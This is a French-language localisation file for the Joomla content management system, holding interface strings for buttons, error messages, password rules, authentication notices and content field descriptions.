JDATE_DESC="Date - Descendant"
JDAY="Jour"
JDEFAULT="Défaut"
JDEFAULTLANGUAGE="Langue - Défaut"
JDETAILS="Détails"
JDISABLED="Désactivé"
JENABLED="Activé"
JFALSE="Faux"
JFEATURE="Épingler"
JFEATURED="Épinglé"
JFEATURED_ASC="Épinglé - Ascendant"
JFEATURED_DESC="Épinglé - Descendant"
JHELP="Aide"
JHIDE="Masquer"
JHIDEPASSWORD="Masquer le mot de passe"
JINVALID_TOKEN="La dernière requête a été rejetée car elle contenait un identifiant de sécurité invalide. Veuillez actualiser la page et réessayer."
JINVALID_TOKEN_NOTICE="L'identifiant de sécurité ne correspondait pas. La demande a été interrompue pour empêcher toute violation de la sécurité. Veuillez réessayer."
JLOGIN="Connexion"
JLOGOUT="Déconnexion"
JMENU_MULTILANG_WARNING_MISSING_MODULES="Il n'y a pas de module de menu administrateur pour <strong>%s</strong>. <br>Créer un menu administrateur personnalisé et un module pour chaque langue de l'administration ou publier un module de menu défini pour toutes les langues."
JMODIFY="Modifier"
JMONTH="Mois"
JMONTH_PUBLISHED="Mois (publié)"
JNEVER="Jamais"
JNEXT="Suivante"
JNEXT_TITLE="Article suivant : %s"
JNO="Non"
JNONE="Aucun"
JOFF="Désactivé"
JOK="OK"
JON="Activé"
JONLY="Seulement"
JOPEN="Ouvrir"
JOPTIONS="Paramètres"
JORDERINGDISABLED="Vous devez trier par ordre pour réordonner"
JPREV="Précédent"
JPREVIOUS="Précédente"
JPREVIOUS_TITLE="Article précédent : %s"
JPROTECTED="Protégé"
JPUBLISHED="Publié(s)"
JRECORD_NUMBER="Numéro d'enregistrement"
JREGISTER="S'inscrire"
JRESET="Réinitialiser"
JSAVE="Enregistrer & Fermer"
JSELECT="Sélectionner"
JSHOW="Afficher"
JSHOWPASSWORD="Afficher le mot de passe"
JSITE="Site"
JSITEADMIN="Sélectionnez l'interface"
JSTAGE="Étape"
JSTAGE_ASC="Étapes par ordre croissant"
JSTAGE_DESC="Étapes par ordre décroissant"
JSTATUS="Statut"
JSTATUS_ASC="Statut - Ascendant"
JSTATUS_DESC="Statut - Descendant"
JSUBMIT="Envoyer"
JTAG="Tags"
JTAG_FIELD_SELECT_DESC="Sélectionner le tag à utiliser."
JTOOLBAR="Barre d'outils"
JTRASH="Corbeille"
JTRASHED="Dans la corbeille"
JTRUE="Vrai"
JUNARCHIVE="Retirer du statut d'archive"
JUNDEFINED="Indéfini"
JUNFEATURE="Désépingler"
JUNFEATURED="Désépinglé"
JUNPROTECTED="Non protégé"
JUNPUBLISHED="Dépublié(s)"
JVERSION="Version"
JVISIT_LINK="Lien visité"
JVISIT_WEBSITE="Visiter le site web"
JYEAR="Année"
JYES="Oui"
JACTION_ADMIN="Configurer les permissions et paramètres"
JACTION_ADMIN_GLOBAL="Super Utilisateur"
JACTION_COMPONENT_SETTINGS="Réglages du composant"
JACTION_CREATE="Créer"
JACTION_DELETE="Supprimer"
JACTION_EDIT="Modifier"
JACTION_EDIT_MODULE="Modifier le module '%s'"
JACTION_EDITOWN="Modifier ses éléments"
JACTION_EDITSTATE="Modifier le statut"
JACTION_EDITVALUE="Modifier les valeurs des champs personnalisés"
JACTION_EXECUTETRANSITION="Exécuter la transition"
JACTION_LOGIN_ADMIN="Connexion à l'administration"
JACTION_LOGIN_API="Connexion aux services Web"
JACTION_LOGIN_OFFLINE="Accès hors-ligne"
JACTION_LOGIN_SITE="Connexion au site"
JACTION_MANAGE="Accès à l'administration"
JACTION_MANAGEWORKFLOW="Gérer le flux de travail"
JACTION_OPTIONS="Ne configurer que les paramètres"
JACTION_UNPUBLISH="Dépublier"
JBROWSERTARGET_DOWNLOAD="Télécharger %s dans une nouvelle fenêtre"
JBROWSERTARGET_MODAL="Ouvrir dans une fenêtre modale"
JBROWSERTARGET_NEW="Ouvrir dans une nouvelle fenêtre"
JBROWSERTARGET_NEW_TITLE="Ouvrir %s dans une nouvelle fenêtre"
JBROWSERTARGET_PARENT="Ouvrir dans la fenêtre parente"
JBROWSERTARGET_POPUP="Ouvrir dans une fenêtre popup"
JENFORCE_2FA_REDIRECT_MESSAGE="Vous avez été redirigé car vous devez configurer la double authentification avant de continuer."
JERROR_ALERTNOAUTHOR="Vous n'avez pas les permissions requises pour accéder à ce contenu. Veuillez contacter un administrateur du site si vous pensez qu'il s'agit d'une erreur."
JERROR_ALERTNOTEMPLATE="Le template de cet affichage n'est pas disponible."
JERROR_AN_ERROR_HAS_OCCURRED="Une erreur s'est produite"
JERROR_CORE_CREATE_NOT_PERMITTED="Création non autorisée"
JERROR_CORE_DELETE_NOT_PERMITTED="Suppression non autorisée"
JERROR_COULD_NOT_FIND_TEMPLATE="Impossible de trouver le template \"%s\"."
JERROR_INVALID_CONTROLLER="Contrôleur invalide"
JERROR_INVALID_CONTROLLER_CLASS="Classe du contrôleur invalide"
JERROR_LAYOUT_PREVIOUS_ERROR="Erreur précédente"
JERROR_LOADFILE_FAILED="Erreur de chargement du fichier de formulaire"
JERROR_LOADING_MENUS="Erreur de chargement des menus: %s"
JERROR_LOGIN_DENIED="Vous ne pouvez pas accéder à l'administration de ce site."
JERROR_NO_ITEMS_SELECTED="Aucun élément sélectionné."
JERROR_NOLOGIN_BLOCKED="Connexion refusée ! Soit votre compte a été bloqué, soit vous ne l'avez pas encore activé."
JERROR_SAVE_FAILED="Impossible d'enregistrer les données. Erreur: %s"
JERROR_SENDING_EMAIL="L'e-mail ne peut pas être envoyé."
JERROR_SESSION_STARTUP="Erreur lors de l'initialisation de la session."
JFIELD_ACCESS_DESC="Niveau d'accès du groupe et des groupes parents autorisés à voir cet élément."
JFIELD_ACCESS_LABEL="Accès"
JFIELD_ALIAS_DESC="L'alias est utilisé dans l'URL SEF. Si le champ est laissé vide, il sera généré à partir du titre."
JFIELD_ALIAS_LABEL="Alias"
JFIELD_ALIAS_PLACEHOLDER="Auto-généré à partir du titre"
JFIELD_ALT_COMPONENT_LAYOUT_DESC="Utiliser la mise en page propre aux fichiers du composant ou la remplacer par celle générée par les fichiers du template."
JFIELD_ALT_LAYOUT_LABEL="Affichage"
JFIELD_ALT_MODULE_LAYOUT_DESC="Utiliser la mise en page propre aux fichiers du module ou la remplacer par celle générée par les fichiers du template."
JFIELD_ALT_PAGE_TITLE_DESC="Titre alternatif optionnel, à utiliser pour une génération spécifique de la balise TITLE."
JFIELD_ALT_PAGE_TITLE_LABEL="Titre alternatif"
JFIELD_ASSET_ID_DESC="Asset ID"
JFIELD_ASSET_ID_LABEL="Asset ID"
JFIELD_BASIC_LOGIN_DESCRIPTION_LABEL="Texte de connexion"
JFIELD_BASIC_LOGIN_DESCRIPTION_SHOW_LABEL="Afficher le texte"
JFIELD_BASIC_LOGOUT_DESCRIPTION_LABEL="Texte de déconnexion"
JFIELD_BASIC_LOGOUT_DESCRIPTION_SHOW_LABEL="Description de déconnexion"
JFIELD_CATEGORY_DESC="Il est possible de sélectionner une catégorie existante ou saisir une nouvelle catégorie en tapant le nom dans le champ et appuyer sur la touche Entrée."
JFIELD_COLOR_ERROR_CONVERT_HSL="Impossible de convertir la valeur HSL"
JFIELD_COLOR_ERROR_CONVERT_HUE="Impossible de convertir la valeur de la teinte"
JFIELD_COLOR_ERROR_NO_COLOR="Aucune valeur de couleur disponible"
JFIELD_COLOR_ERROR_WRONG_FORMAT="Format erroné"
JFIELD_COLOR_LABEL_SLIDER_ALPHA="Curseur Alpha"
JFIELD_COLOR_LABEL_SLIDER_HUE="Curseur de teinte"
JFIELD_COLOR_LABEL_SLIDER_INPUT="Valeur de couleur sélectionnée"
JFIELD_COLOR_LABEL_SLIDER_LIGHT="Curseur de luminosité"
JFIELD_COLOR_LABEL_SLIDER_SATURATION="Curseur de saturation"
JFIELD_COLOR_SELECT="Sélectionner une couleur"
JFIELD_COLOR_TRANSPARENT="Aucun couleur, transparent"
JFIELD_COLOR_VALUE="Couleur avec la valeur hexadécimal"
JFIELD_DISPLAY_READONLY_LABEL="Affichage quand lecture seule"
JFIELD_ENABLED_DESC="Statut d'activation de cet élément."
JFIELD_FIELDS_CATEGORY_DESC="Sélectionner la catégorie assignée à ce champ"
JFIELD_LANGUAGE_DESC="Assigner cet article à une langue."
JFIELD_LANGUAGE_LABEL="Langue"
JFIELD_LOGIN_IMAGE_DESC="Image affichée sur la page de connexion."
JFIELD_LOGIN_IMAGE_LABEL="Image de connexion"
JFIELD_LOGIN_REDIRECT_URL_DESC="Si une URL est saisie ici, les utilisateurs y seront redirigés après la connexion.<br> L'URL doit être interne (exemple : index.php?Itemid=999)."
JFIELD_LOGIN_REDIRECT_URL_LABEL="Redirection de connexion"
JFIELD_LOGOUT_IMAGE_DESC="Image à afficher sur la page de déconnexion"
JFIELD_LOGOUT_IMAGE_LABEL="Image de déconnexion"
JFIELD_LOGOUT_REDIRECT_PAGE_DESC="Sélectionnez ou créez le lien de menu correspondant à la page vers laquelle vous souhaitez rediriger l'utilisateur après sa déconnexion du site. La valeur par défaut redirigera vers la même page."
JFIELD_LOGOUT_REDIRECT_PAGE_LABEL="Redirection après déconnexion"
JFIELD_LOGOUT_REDIRECT_URL_DESC="Si une URL est saisie ici, les utilisateurs y seront redirigés après la déconnexion.<br> L'URL doit être interne (exemple : index.php?Itemid=999)."
JFIELD_LOGOUT_REDIRECT_URL_LABEL="Redirection de déconnexion"
JFIELD_MEDIA_ALT_CHECK_DESC_LABEL="Image décorative - Aucune description requise"
JFIELD_MEDIA_ALT_CHECK_LABEL="Aucune description"
JFIELD_MEDIA_ALT_LABEL="Description d'image (balise alt)"
JFIELD_MEDIA_DOWNLOAD_CHECK_DESC_LABEL="Utiliser un lien de téléchargement"
JFIELD_MEDIA_DOWNLOAD_CHECK_LABEL="Télécharger"
JFIELD_MEDIA_DOWNLOAD_FILE="Télécharger {file}" ; Do not translate the text between the {}
JFIELD_MEDIA_EMBED_CHECK_DESC_LABEL="Utiliser les éléments natifs audio, vidéo ou objet"
JFIELD_MEDIA_EMBED_CHECK_LABEL="Embed"
JFIELD_MEDIA_CLASS_LABEL="Classe de l'image"
JFIELD_MEDIA_FIGURE_CAPTION_LABEL="Légende de la figure"
JFIELD_MEDIA_FIGURE_CLASS_LABEL="Classe de la figure"
JFIELD_MEDIA_HEIGHT_LABEL="Hauteur"
JFIELD_MEDIA_LAZY_LABEL="Images chargées progressivement (lazyload)"
JFIELD_MEDIA_SUMMARY_LABEL="Données Additionnelles"
JFIELD_MEDIA_WIDTH_LABEL="Largeur"
JFIELD_MEDIA_TITLE_LABEL="Titre"
JFIELD_MEDIA_UNSUPPORTED="Vous n'avez pas de plugin {extension}, mais vous pouvez {tag} télécharger le fichier {extension} .</a>" ; Do not translate the text between the {}
JFIELD_META_DESCRIPTION_COUNTER="{remaining} caractères restants sur {maxlength} caractères." ; Do not translate the text between the {}
JFIELD_META_DESCRIPTION_DESC="La métadonnée 'description' permet d'indexer une description du contenu de la page afin d'améliorer son référencement (~250 caractères).<br />Lorsque le contenu est indexé par un moteur dans les résultats d'une recherche, le texte de cette métadonnée est affiché sous le titre."
JFIELD_META_DESCRIPTION_LABEL="Description"
JFIELD_META_KEYWORDS_DESC="La métadonnée 'keywords' permet d'indexer une série de mots clés ou d'expressions (séparés par une virgule) liés au thème du contenu."
JFIELD_META_KEYWORDS_LABEL="Mots clés"
JFIELD_META_RIGHTS_DESC="La métadonnée 'rights' permet d'indexer les droits légaux des contenus."
JFIELD_META_RIGHTS_LABEL="Droits légaux"
JFIELD_METADATA_AUTHOR_DESC="La métadonnée 'author' permet d'indexer l'auteur du contenu."
JFIELD_METADATA_RIGHTS_DESC="Droits de publication sur cet article."
JFIELD_METADATA_RIGHTS_LABEL="Droits"
JFIELD_METADATA_ROBOTS_DESC="La métadonnée 'robots' permet de donner des instructions aux robots :<ul><li>Index, Follow : indexe le contenu et ses liens</li><li>No index, Follow : n'indexe pas le contenu mais ses liens</li><li>Index, No follow : indexe le contenu mais pas ses liens</li><li>No index, No follow : n'indexe ni le contenu ni ses liens</li></ul>"
JFIELD_METADATA_ROBOTS_LABEL="Robots"
JFIELD_MODULE_LANGUAGE_DESC="Assigner ce module à une langue."
JFIELD_NAME_DESC="Le nom sera utilisé pour identifier le champ. Si laissé vide Joomla remplira une valeur par défaut à partir du titre."
JFIELD_NAME_LABEL="Nom"
JFIELD_NAME_PLACEHOLDER="Auto-généré à partir du titre"
JFIELD_NOTE_DESC="Note"
JFIELD_NOTE_LABEL="Note"
JFIELD_OPTION_NONE="Aucun"
JFIELD_ORDERING_DESC="Ordre d'affichage :"
JFIELD_ORDERING_LABEL="Tri"
JFIELD_PARAMS_LABEL="Paramètres"
JFIELD_PASSWORD_INDICATE_COMPLETE="Mot de passe accepté"
JFIELD_PASSWORD_INDICATE_INCOMPLETE="Le mot de passe ne répond pas aux exigences du site."
JFIELD_PASSWORD_NOT_ENOUGH_INTEGERS_N_ONE="Le mot de passe ne contient pas assez de chiffres. Au moins 1 chiffre est requis."
JFIELD_PASSWORD_NOT_ENOUGH_INTEGERS_N_OTHER="Le mot de passe ne contient pas assez de chiffres. Au moins %s chiffres sont requis."
JFIELD_PASSWORD_NOT_ENOUGH_LOWERCASE_LETTERS_N_ONE="Le mot de passe ne contient pas assez de caractères minuscules. Au moins 1 caractère minuscule est requis."
JFIELD_PASSWORD_NOT_ENOUGH_LOWERCASE_LETTERS_N_OTHER="Le mot de passe ne contient pas assez de caractères minuscules. Au moins %s caractères minuscules sont requis."
JFIELD_PASSWORD_NOT_ENOUGH_SYMBOLS_N_ONE="Le mot de passe ne contient pas assez de symboles (tel !@#$). Au moins 1 symbole est requis."
JFIELD_PASSWORD_NOT_ENOUGH_SYMBOLS_N_OTHER="Le mot de passe ne contient pas assez de symboles (tel !@#$). Au moins %s symboles sont requis."
JFIELD_PASSWORD_NOT_ENOUGH_UPPERCASE_LETTERS_N_ONE="Le mot de passe ne contient pas assez de caractères majuscules. Au moins 1 caractère majuscule est requis."
JFIELD_PASSWORD_NOT_ENOUGH_UPPERCASE_LETTERS_N_OTHER="Le mot de passe ne contient pas assez de caractères majuscules. Au moins %s caractères majuscules sont requis."
JFIELD_PASSWORD_RULES_CHARACTERS="Caractères : %d"
JFIELD_PASSWORD_RULES_DIGITS="Nombres : %d"
JFIELD_PASSWORD_RULES_LOWERCASE="Minuscules : %d"
JFIELD_PASSWORD_RULES_MINIMUM_REQUIREMENTS="<strong>Exigences minimales</strong> – %s"
JFIELD_PASSWORD_RULES_SYMBOLS="Symboles : %d"
JFIELD_PASSWORD_RULES_UPPERCASE="Majuscules : %d"
JFIELD_PASSWORD_SPACES_IN_PASSWORD="Le mot de passe ne doit pas contenir d'espaces au début et à la fin."
JFIELD_PASSWORD_TOO_LONG="Le mot de passe est trop long. Les mots de passe doivent contenir moins de 100 caractères."
JFIELD_PASSWORD_TOO_SHORT_N="Le mot de passe est trop court. Les mots de passe doivent contenir au moins %s caractères."
JFIELD_PLG_SEARCH_ALL_DESC="Intégrer les éléments publiés dans la recherche."
JFIELD_PLG_SEARCH_ALL_LABEL="Recherche dans Publiés"
JFIELD_PLG_SEARCH_ARCHIVED_DESC="Intégrer les éléments archivés dans la recherche."
JFIELD_PLG_SEARCH_ARCHIVED_LABEL="Recherche dans Archivés"
JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC="Nombre maximum de résultats à afficher dans une recherche."
JFIELD_PLG_SEARCH_SEARCHLIMIT_LABEL="Nombre de résultats"
JFIELD_PUBLISHED_DESC="Définir le statut de publication."
JFIELD_READMORE_DESC="Vous pouvez attribuer un texte personnalisé au lien 'Lire la suite...'."
JFIELD_READMORE_LABEL="Texte Lire la suite..."
JFIELD_SPACER_LABEL="<span style=\"width:auto\"><hr></span>"
JFIELD_TITLE_DESC="Titre"
JFIELD_VERSION_HISTORY_DESC="Ce bouton permet d'ouvrir une fenêtre pour visualiser des versions anciennes de cet élément."
JFIELD_VERSION_HISTORY_LABEL="Versions précédentes"
JFIELD_VERSION_HISTORY_SELECT="Visualiser les versions précédentes"
JGLOBAL_ACTION_PERMISSIONS_LABEL="Droits"
JGLOBAL_ADD_CUSTOM_CATEGORY="Ajouter une nouvelle catégorie"
JGLOBAL_ALL_ARTICLE="Niveaux max. d'articles"
JGLOBAL_ALL_LIST="Niveaux max. dans une liste"
JGLOBAL_ALLOW_COMMENTS_DESC="Si oui, la fonction 'Commentaires sur l'article' sera activée et les utilisateurs pourront les voir et en ajouter."
JGLOBAL_ALLOW_COMMENTS_LABEL="Autoriser les commentaires"
JGLOBAL_ALLOW_RATINGS_DESC="Si oui, la fonction 'Vote sur l'article' sera activée et les utilisateurs pourront les voir et y participer."
JGLOBAL_ALLOW_RATINGS_LABEL="Autoriser les votes"
JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_LABEL="Longueur de l'introduction"
JGLOBAL_ARCHIVE_OPTIONS="Archives"
JGLOBAL_ARTICLE_COUNT_DESC="Afficher/Masquer le nombre d'articles dans une catégorie."
JGLOBAL_ARTICLE_COUNT_LABEL="Nombre d'articles"
JGLOBAL_ARTICLE_MANAGER_ORDER="Tri"
JGLOBAL_ARTICLE_MANAGER_REVERSE_ORDER="Ordre inverse"
JGLOBAL_ARTICLE_ORDER_DESC="Ordre dans lequel les articles doivent être affichés."
JGLOBAL_ARTICLE_ORDER_LABEL="Ordre des articles"
JGLOBAL_ARTICLES="Articles"
JGLOBAL_ASSOC_NOT_POSSIBLE="Pour définir des associations, s'assurer que la langue de cet élément n'est pas assignée à \"Toutes\"."
JGLOBAL_ASSOCIATIONS_CONTENTLANGUAGE_WARNING="Certains éléments associés sont affectés à la langue de contenu <strong>%s</strong> mais cette langue de contenu est mise à la corbeille ou supprimée."
JGLOBAL_ASSOCIATIONS_NEW_ITEM_WARNING="Pour créer des associations, d'abord sauvegarder l'item."
JGLOBAL_ASSOCIATIONS_PROPAGATE_BUTTON="Propager"
JGLOBAL_ASSOCIATIONS_PROPAGATE_FAILED="Échec de la propagation des associations. Il faudra peut-être les sélectionner ou les créer manuellement."
JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_ALL="Toutes les associations existantes ont été définies."
JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_NONE="Il n'y a aucune association à propager."
JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_SOME="Des associations ont été définies pour : %s"
JGLOBAL_ASSOCIATIONS_PROPAGATE_TIP="Propage les associations existantes de cet item."
JGLOBAL_ASSOCIATIONS_RESET_WARNING="La langue a été changée. Si vous sauvegardez à nouveau cet élément, les associations disponibles seront réinitialisées. Si cela n'était pas votre intention, fermez l'élément."
JGLOBAL_AUTH_ACCESS_DENIED="Accès refusé"
JGLOBAL_AUTH_ACCESS_GRANTED="Accès autorisé"
JGLOBAL_AUTH_BIND_FAILED="Échec de liaison au serveur LDAP"
JGLOBAL_AUTH_CANCEL="Authentification annulée"
JGLOBAL_AUTH_CURL_NOT_INSTALLED="Curl n'est pas installé"
JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED="Vous devez indiquer un mot de passe!"
JGLOBAL_AUTH_FAIL="Authentification échouée"
JGLOBAL_AUTH_FAILED="Échec de l'authentification : %s"
JGLOBAL_AUTH_INCORRECT="Identifiant/Mot de passe incorrect"
JGLOBAL_AUTH_INVALID_PASS="Le mot de passe ne correspond pas au nom d'utilisateur, ou vous n'avez pas encore de compte."
JGLOBAL_AUTH_INVALID_SECRETKEY="La clé secrète de la double authentification n'est pas valide."
JGLOBAL_AUTH_NO_REDIRECT="Impossible d'effectuer la redirection sur le serveur : %s"
JGLOBAL_AUTH_NO_USER="Le mot de passe ne correspond pas au nom d'utilisateur, ou vous n'avez pas encore de compte."
JGLOBAL_AUTH_NOT_CONNECT="Impossible de se connecter au service d'authentification."
JGLOBAL_AUTH_NOT_CREATE_DIR="Impossible de créer le répertoire FileStore %s. Veuillez vérifier que vous possédez les droits d'écriture dans le répertoire parent."
JGLOBAL_AUTH_PASS_BLANK="Le système LDAP exige un mot de passe"
JGLOBAL_AUTH_UNKNOWN_ACCESS_DENIED="Résultat inconnu. Accès refusé"
JGLOBAL_AUTH_USER_NOT_FOUND="Impossible de trouver l'utilisateur"
JGLOBAL_AUTHOR_ALPHABETICAL="Alphabétique des auteurs"
JGLOBAL_AUTHOR_REVERSE_ALPHABETICAL="Alphabétique inverse des auteurs"
JGLOBAL_AUTO="Automatique"
JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND="Impossible de trouver la destination parente pour ce déplacement."
JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND="Impossible de trouver la ligne de destination pour ce déplacement."
JGLOBAL_BATCH_PROCESS="Traitement"
JGLOBAL_BATCH_WORKFLOW_STATE_ROW_NOT_FOUND="Impossible de trouver la ligne de destination pour ce changement d'état."
JGLOBAL_BLOG="Blog"
JGLOBAL_BLOG_CLASS="Classe d'article"
JGLOBAL_BLOG_CLASS_LEADING="Classe de l'article principal"
JGLOBAL_BLOG_LAYOUT_OPTIONS="Affichage du Blog"
JGLOBAL_CATEGORIES_OPTIONS="Catégories"
JGLOBAL_CATEGORY_LAYOUT_DESC="Affichage"
JGLOBAL_CATEGORY_LAYOUT_LABEL="Mise en page"
JGLOBAL_CATEGORY_MANAGER_ORDER="Options de tri de la catégorie"
JGLOBAL_CATEGORY_NOT_FOUND="Catégorie introuvable"
JGLOBAL_CATEGORY_OPTIONS="Paramètres"
JGLOBAL_CATEGORY_ORDER_DESC="Ordre d'affichage des catégories."
JGLOBAL_CATEGORY_ORDER_LABEL="Options de tri de la catégorie"
JGLOBAL_CENTER="Centre"
JGLOBAL_CHECK_ALL="Tout cocher"
JGLOBAL_CHOOSE_CATEGORY_DESC="Sélectionner ou créer une catégorie à afficher."
JGLOBAL_CHOOSE_CATEGORY_LABEL="Sélection de catégorie"
JGLOBAL_CHOOSE_COMPONENT_DESC="Choisir un composant dans la liste"
JGLOBAL_CHOOSE_COMPONENT_LABEL="Choisir un composant"
JGLOBAL_CLICK_TO_SORT_THIS_COLUMN="Cliquez sur l'icône pour trier la colonne"
JGLOBAL_CLICK_TO_TOGGLE_STATE="Cliquer sur l'icône pour changer le statut."
JGLOBAL_CONFIRM_DELETE="Êtes-vous certain de vouloir supprimer ces éléments ? Confirmer supprimera les éléments sélectionnés de façon permanente!"
JGLOBAL_COPY="(copie)"
JGLOBAL_CREATED="Date de création"
JGLOBAL_CREATED_DATE="Date de création"
JGLOBAL_CUSTOM_CATEGORY="Nouvelles catégories"
JGLOBAL_CUSTOM_FIELDS_ENABLE_DESC="Activer la création ou la modification de champs personnalisés."
JGLOBAL_CUSTOM_FIELDS_ENABLE_LABEL="Intégration des champs"
JGLOBAL_DATE_FORMAT_DESC="Format optionnel d'affichage de la date. Par exemple: 'D, j F Y' pour 'Vendredi, 29 Avril 2016 '. Voir https://php.net/date . Si laissé vide, la valeur de DATE_FORMAT_LC1 de votre fichier de langue sera utilisée."
JGLOBAL_DATE_FORMAT_LABEL="Format de la date"
JGLOBAL_DESCRIPTION="Description"
JGLOBAL_DISPLAY_NUM="Afficher #"
JGLOBAL_DISPLAY_SELECT_DESC="Afficher/Masquer la liste déroulante du sélecteur d'affichage."
JGLOBAL_DISPLAY_SELECT_LABEL="Sélecteur d'affichage"
JGLOBAL_EDIT_ITEM="Modifier l'élément"
JGLOBAL_EDIT_PREFERENCES="Modifier les préférences"
JGLOBAL_EMAIL="E-mail"
JGLOBAL_EMAIL_DOMAIN_NOT_ALLOWED="Le domaine de mail <strong>%s</strong> n'est pas autorisé. Merci de saisir une autre adresse mail."
JGLOBAL_EMPTY_CATEGORIES_DESC="Afficher/Masquer les catégories qui ne contiennent ni article, ni sous-catégorie."
JGLOBAL_EMPTY_CATEGORIES_LABEL="Catégories vides"
JGLOBAL_ERROR_INSUFFICIENT_BATCH_INFORMATION="Information insuffisante pour effectuer l'opération par lots"
JGLOBAL_FEED_SHOW_READMORE_DESC="Afficher les liens \"Lire la suite\" dans les fils d'actualité si le texte d'introduction est affiché."
JGLOBAL_FEED_SHOW_READMORE_LABEL="Lien \"Lire la suite\""
JGLOBAL_FEED_SUMMARY_DESC="Le paramètre 'Texte d'introduction' n'affiche que le texte d'introduction des articles dans les fils d'actualité.<br />Le paramètre 'Texte intégral' affiche l'article complet dans les fils d'actualité."
JGLOBAL_FEED_SUMMARY_LABEL="Inclure dans le flux"
JGLOBAL_FEED_TITLE="Fils d'actualité"
JGLOBAL_FIELD_ADD="Ajouter"
JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_DESC="Sélectionnez la catégorie parente des sous-catégories à afficher."
JGLOBAL_FIELD_CATEGORIES_CHOOSE_CATEGORY_LABEL="Sélectionner la catégorie principale"
JGLOBAL_FIELD_CATEGORIES_DESC_DESC="Saisissez du texte dans ce champ pour remplacer la description d'origine de la catégorie principale."
JGLOBAL_FIELD_CATEGORIES_DESC_LABEL="Description alternative"
JGLOBAL_FIELD_CREATED_BY_ALIAS_DESC="Saisissez un nom dans ce champ pour remplacer celui de l'auteur de l'article."
JGLOBAL_FIELD_CREATED_BY_ALIAS_LABEL="Alias"
JGLOBAL_FIELD_CREATED_BY_DESC="Auteur de l'article."
JGLOBAL_FIELD_CREATED_BY_LABEL="Créé par (auteur)"
JGLOBAL_FIELD_CREATED_DESC="Date de création de l'élément."
JGLOBAL_FIELD_CREATED_LABEL="Date de création"
JGLOBAL_FIELD_FIELD_CACHETIME_DESC="Durée en minutes entre deux actualisation du cache."
JGLOBAL_FIELD_FIELD_ORDERING_DESC="Ordre d'affichage des éléments"
JGLOBAL_FIELD_FIELD_ORDERING_LABEL="Ordre"
JGLOBAL_FIELD_GROUPS="Groupes de champs"
JGLOBAL_FIELD_ID_DESC="Numéro d'enregistrement (identification) dans la base de données."
JGLOBAL_FIELD_ID_LABEL="Id"
JGLOBAL_FIELD_LAYOUT_DESC="Choisissez dans la liste déroulante la mise en page à appliquer."
JGLOBAL_FIELD_LAYOUT_LABEL="Mise en page"
JGLOBAL_FIELD_MODIFIED_BY_DESC="L'utilisateur qui a effectué la dernière modification de l'article."
JGLOBAL_FIELD_MODIFIED_BY_LABEL="Modifié par"
JGLOBAL_FIELD_MODIFIED_LABEL="Date de modification"
JGLOBAL_FIELD_MOVE="Déplacer"
JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_DESC="Nombre de catégories à afficher pour chaque niveau."
JGLOBAL_FIELD_NUM_CATEGORY_ITEMS_LABEL="Nombre de catégories"
JGLOBAL_FIELD_PUBLISH_DOWN_DESC="Indiquez si vous le souhaitez une date de fin de publication.<br />Si vous n'indiquez rien, l'article ne sera pas automatiquement au statut 'non publié' grâce à la valeur '0000-00-00 00:00:00'"
JGLOBAL_FIELD_PUBLISH_DOWN_LABEL="Fin de publication"
JGLOBAL_FIELD_PUBLISH_UP_DESC="Indiquez si vous le souhaitez une date de début de publication.<br />Si vous n'indiquez rien, la date de création est utilisée."
JGLOBAL_FIELD_PUBLISH_UP_LABEL="Début de publication"
JGLOBAL_FIELD_REMOVE="Effacer"
JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC="Afficher la description de la catégorie de premier niveau ou la remplacer par le texte du champ de description du lien de menu. Si vous utilisez la catégorie racine comme principale, vous devez remplir le champ de description."
JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_LABEL="Description de la catégorie du niveau supérieur"
JGLOBAL_FIELD_VERSION_NOTE_DESC="Saisir une note facultative pour cette version de cet élément."
JGLOBAL_FIELD_VERSION_NOTE_LABEL="Note de version"
JGLOBAL_FIELDS="Champs"
JGLOBAL_FIELDS_TITLE="Champs personnalisés"
JGLOBAL_FIELDSET_ADVANCED="Paramètres avancés"
JGLOBAL_FIELDSET_ASSOCIATIONS="Associations"
JGLOBAL_FIELDSET_BASIC="Paramètres"
JGLOBAL_FIELDSET_CONTENT="Contenu"
JGLOBAL_FIELDSET_DESCRIPTION="Description"
JGLOBAL_FIELDSET_DISPLAY_OPTIONS="Affichage"
JGLOBAL_FIELDSET_GLOBAL="Options principales"
JGLOBAL_FIELDSET_IMAGE_OPTIONS="Images"
JGLOBAL_FIELDSET_INTEGRATION="Intégration"
JGLOBAL_FIELDSET_METADATA_OPTIONS="Métadonnées"
JGLOBAL_FIELDSET_OPTIONS="Paramètres"
JGLOBAL_FIELDSET_PUBLISHING="Publication"
JGLOBAL_FILTER_ATTRIBUTES_DESC="3. Saisissez les attributs supplémentaires en séparant chaque nom d'attribut par un espace ou une virgule. Par exemple : <em>classe,titre,id</em>."
JGLOBAL_FILTER_ATTRIBUTES_LABEL="Filtrer les attributs<sup>3</sup>"
JGLOBAL_FILTER_CLIENT="- Emplacement -"
JGLOBAL_FILTER_FIELD_DESC="Afficher/Masquer le champ de filtre dans l'affichage en liste des articles."
JGLOBAL_FILTER_FIELD_LABEL="Champ filtre"
JGLOBAL_FILTER_GROUPS_DESC="Définit les groupes d'utilisateurs auxquels seront appliqués les filtres. Les autres groupes ne seront pas filtrés."
JGLOBAL_FILTER_GROUPS_LABEL="Filtrer les groupes"
JGLOBAL_FILTER_TAGS_DESC="2. Saisissez les balises supplémentaires en séparant chaque nom de balise par un espace ou une virgule. Par exemple : <em>p,div,span</em>."
JGLOBAL_FILTER_TAGS_LABEL="Filtrer les balises<sup>2</sup>"
